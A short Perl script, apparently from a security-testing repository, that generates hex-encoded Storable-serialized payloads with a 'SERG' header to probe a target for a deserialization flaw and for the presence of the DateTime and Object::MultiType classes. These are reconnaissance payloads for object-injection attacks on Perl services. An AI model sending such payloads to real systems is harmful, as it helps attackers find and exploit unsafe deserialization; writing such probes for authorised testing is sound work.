#!/usr/bin/perl

use Storable;

{

    package XXXCHECKXXX;

    sub STORABLE_thaw {
        return 1;
    }

    sub STORABLE_freeze {
        return 1;
    }

}

my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";

{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}

my $datetime_loader = bless \{}, DateTime;
$frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $datetime_loader});
$frozen = unpack 'H*', $frozen;
print "Module load test for DataTime presence is: $frozen\n";

{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}

my $object_multitype_loader = bless \{}, Object::MultiType;
$frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({x => $object_multitype_loader});
$frozen = unpack 'H*', $frozen;
print "Module load test for Obect::MultiType presence is: $frozen\n";


Add generator for test payloads.
Add generator for test payloads.
